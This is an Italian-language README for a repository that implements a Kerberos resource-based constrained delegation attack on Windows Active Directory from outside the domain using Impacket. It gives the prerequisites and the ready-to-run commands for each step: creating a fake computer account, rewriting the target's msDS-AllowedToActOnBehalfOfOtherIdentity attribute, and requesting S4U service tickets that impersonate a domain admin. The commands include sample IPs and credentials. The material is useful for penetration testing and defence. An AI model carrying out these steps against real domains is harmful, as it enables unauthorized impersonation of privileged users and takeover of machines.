Abuso della delega vincolata basata sulle risorse di Kerberos

In breve

Questo repository riguarda un attacco pratico contro la delega vincolata basata sulle risorse di Kerberos in un dominio Active Directory di Windows.

La differenza rispetto ad altre implementazioni comuni è che lanciamo l'attacco dall'esterno del dominio Windows, non da un computer unito al dominio (solitamente Windows).

L'attacco è implementato utilizzando solo Python3 Impacket (e le sue dipendenze). Testato su Arch con Impacket aggiornato (0.9.21 al momento della scrittura).

L'Attacco

In sintesi, senza entrare in troppi dettagli, l'attacco prende di mira un computer del dominio, esattamente i service principal relativi al computer del dominio target.

Qui sono necessari come prerequisiti:

• un account di dominio con accesso in scrittura al computer target (esattamente accesso in scrittura alla proprietà msDS-AllowedToActOnBehalfOfOtherIdentity dell'oggetto computer del dominio target)
• autorizzazione per creare nuovi account computer (di solito è predefinita, vedere MachineAccountQuota)
• accesso LDAP (389/tcp) e SAMR (445/tcp) (o LDAPS (636/tcp)) al DC.
• accesso Kerberos (88/tcp) al DC

Il percorso dell'attacco ad alto livello:

1. Creare un computer fittizio
2. Abusare della proprietà msDS-AllowedToActOnBehalfOfOtherIdentity del target
3. Richiedere Ticket di servizio impersonati (S4U) per il computer target

Vantaggio:

• I ticket di servizio impersonati possono consentire l'accesso ad alto livello a servizi sul target come CIFS, HTTP, ecc., se l'account impersonato ha privilegi. A volte takeover del computer.

Strumenti comuni

Gli strumenti comuni per questo attacco operano su un computer Windows unito al dominio utilizzando:

• Powermad per aggiungere nuovi account computer
• Powerview dal ramo dev di PowerSploit per abuso di msDS-AllowedToActOnBehalfOfOtherIdentity
• Rubeus per operazioni sui ticket S4U

Implementazione Impacket

Questa implementazione utilizza puro Impacket dall'esterno del dominio.

Creazione del computer fittizio

Usando l'esempio addcomputer.py da Impacket creiamo un computer fittizio (chiamato evilcomputer):

addcomputer.py -computer-name 'evilcomputer$' -computer-pass ev1lP@sS -dc-ip 192.168.33.203 ecorp.local/test:ohW9Lie0

Modifica dei diritti di delega

Implementato lo script rbcd.py presente nel repository che aggiunge il descrittore di sicurezza relativo del nuovo EVILCOMPUTER alla proprietà msDS-AllowedToActOnBehalfOfOtherIdentity del computer target.

./rbcd.py -f EVILCOMPUTER -t WEB -dc-ip 192.168.33.203 ecorp\\test:ohW9Lie0

Lo script utilizza pesantemente le classi Python nell'esempio ntlmrelayx.py di Impacket. Per aiuto e un esempio, chiama lo script senza opzioni.

Ottenere il ticket di servizio impersonato

Ora tutto è pronto per abusare della delega vincolata tramite una query S4U2Self e ottenere un ticket di servizio impersonato per il computer target. Con lo script di esempio getST.py di Impacket:

getST.py -spn cifs/WEB.ecorp.local -impersonate admin -dc-ip 192.168.33.203 ecorp.local/EVILCOMPUTER$:ev1lP@sS

Il comando sopra recupera un ticket di servizio CIFS per conto dell'utente di dominio target admin e lo memorizza nel file admin.ccache.

Dopo aver aggiunto il percorso del file alla variabile KRB5CCNAME, il ticket è utilizzabile per i client Kerberos.

export KRB5CCNAME=`pwd`/admin.ccache
klist

Riferimenti

Per dettagli sull'abuso della delega vincolata basata sulle risorse:

• https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
• https://www.harmj0y.net/blog/activedirectory/a-case-study-in-wagging-the-dog-computer-takeover/
• http://www.harmj0y.net/blog/activedirectory/s4u2pwnage/

E una delle presentazioni più complete sugli attacchi Kerberos:

• Constructing Kerberos Attacks with Delegation Primitives slides al Defcon di Elad Shamir e Matt Bush